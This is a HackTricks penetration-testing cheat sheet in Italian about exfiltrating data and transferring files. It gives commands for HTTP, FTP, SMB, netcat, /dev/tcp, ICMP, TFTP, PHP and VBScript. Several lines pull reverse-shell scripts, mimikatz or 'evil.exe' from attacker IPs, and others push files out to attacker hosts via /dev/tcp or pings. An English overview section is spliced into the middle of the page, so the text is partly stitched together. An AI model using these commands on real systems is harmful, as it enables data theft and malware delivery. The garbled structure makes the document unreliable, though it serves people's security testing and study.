hacktricks/generic-methodologies-and-resources/exfiltration.md

# Esfiltrazione

<details>

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## Domini comunemente autorizzati per esfiltrare informazioni

Controlla [https://lots-project.com/](https://lots-project.com/) per trovare i domini comunemente autorizzati che possono essere abusati

## Copia\&Incolla Base64

**Linux**
```bash
base64 -w0 <file> #Encode file
base64 -d file #Decode file
```
**Windows**
```
certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
```
## HTTP

**Linux**
```bash
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD
```
**Windows**
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```
### Caricare file

* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
* [**SimpleHttpServer che stampa GET e POST (anche intestazioni)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
* Modulo Python [uploadserver](https://pypi.org/project/uploadserver/):
```bash
# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
```
### **Server HTTPS**
```python
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###
```
## FTP

### Server FTP (python)
```bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```
### Server FTP (NodeJS)
```
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```
### Server FTP (pure-ftp)
```bash
apt-get update && apt-get install pure-ftp
```

```bash
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```
### **Client** Windows
```bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
```
## SMB

Kali come server
```bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
O creare una condivisione smb **utilizzando samba**:
```bash
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart
```
# Exfiltration

## Introduction

When conducting a penetration test, it is often necessary to exfiltrate data from the target network. Exfiltration is the unauthorized transfer of data from a target system to an external location controlled by the attacker. This process is crucial for demonstrating the impact of a successful attack and the potential risks associated with it.

## Techniques

There are various techniques that can be used to exfiltrate data from a compromised system. Some common exfiltration techniques include:

- **DNS Tunneling**: Using DNS requests to encode and transfer data outside the network.
- **HTTP/S Traffic**: Sending data over HTTP or HTTPS protocols to external servers.
- **FTP**: Transferring files using the File Transfer Protocol.
- **Email**: Sending data as email attachments or through email messages.
- **Steganography**: Hiding data within other files or images to avoid detection.
- **Cloud Storage**: Uploading data to cloud storage services for retrieval later.

## Tools

Several tools are available to facilitate data exfiltration during a penetration test. Some popular tools include:

- **Cobalt Strike**: A powerful penetration testing platform that includes features for data exfiltration.
- **PowerShell Empire**: A post-exploitation framework that can be used for exfiltrating data.
- **Mimikatz**: A tool for extracting credentials and other sensitive information from Windows systems.
- **CrackMapExec**: A post-exploitation tool that can be used for lateral movement and data exfiltration.

## Conclusion

Exfiltrating data is a critical aspect of a penetration test, as it demonstrates the potential impact of a successful attack. By using various techniques and tools, testers can effectively showcase the risks associated with unauthorized data transfer and help organizations improve their security posture.
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:
```
## SCP

L'attaccante deve avere SSHd in esecuzione.
```bash
scp <username>@<Attacker_IP>:<directory>/<filename>
```
## SSHFS

Se la vittima ha SSH, l'attaccante può montare una directory dalla vittima all'attaccante.
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
```
## NC

Netcat è uno strumento versatile per l'invio e la ricezione di dati su una rete, ed è spesso utilizzato per l'esfiltrazione di dati durante un test di penetrazione. Può essere utilizzato per stabilire una connessione TCP o UDP con un server remoto per trasferire dati in modo rapido e efficiente. Netcat può essere utilizzato in combinazione con altri strumenti per esfiltrare dati in modo discreto e senza lasciare tracce evidenti.
```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
```
## /dev/tcp

### Scaricare file dalla vittima
```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```
### Carica file sulla vittima
```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt
```
Grazie a **@BinaryShadow\_**

## **ICMP**
```bash
# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
```

```python
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)
```
## **SMTP**

Se puoi inviare dati a un server SMTP, puoi creare un server SMTP per ricevere i dati con python:
```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
## TFTP

Per impostazione predefinita in XP e 2003 (in altri sistemi operativi deve essere aggiunto esplicitamente durante l'installazione)

In Kali, **avvia il server TFTP**:
```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
```
**Server TFTP in python:**
```bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```
In **vittima**, connettersi al server Kali:
```bash
tftp -i <KALI-IP> get nc.exe
```
## PHP

Scarica un file con un PHP oneliner:
```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
## VBScript

VBScript (Visual Basic Scripting Edition) è un linguaggio di scripting sviluppato da Microsoft che è spesso utilizzato per automatizzare attività all'interno di sistemi Windows. È possibile utilizzare VBScript per eseguire operazioni di esfiltrazione di dati, come ad esempio inviare informazioni sensibili a un server remoto.
```bash
Attacker> python -m SimpleHTTPServer 80
```
**Vittima**
```bash
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```

```bash
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe

Il programma `debug.exe` non solo consente l'ispezione dei file binari ma ha anche la **capacità di ricostruirli da esadecimale**. Ciò significa che fornendo un esadecimale di un file binario, `debug.exe` può generare il file binario. Tuttavia, è importante notare che debug.exe ha una **limitazione nell'assemblare file fino a 64 kb di dimensione**.
```bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
```markdown
Quindi copia-incolla il testo nella shell di Windows e verrà creato un file chiamato nc.exe.

* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)

## DNS

* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)


<details>

<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

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* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
```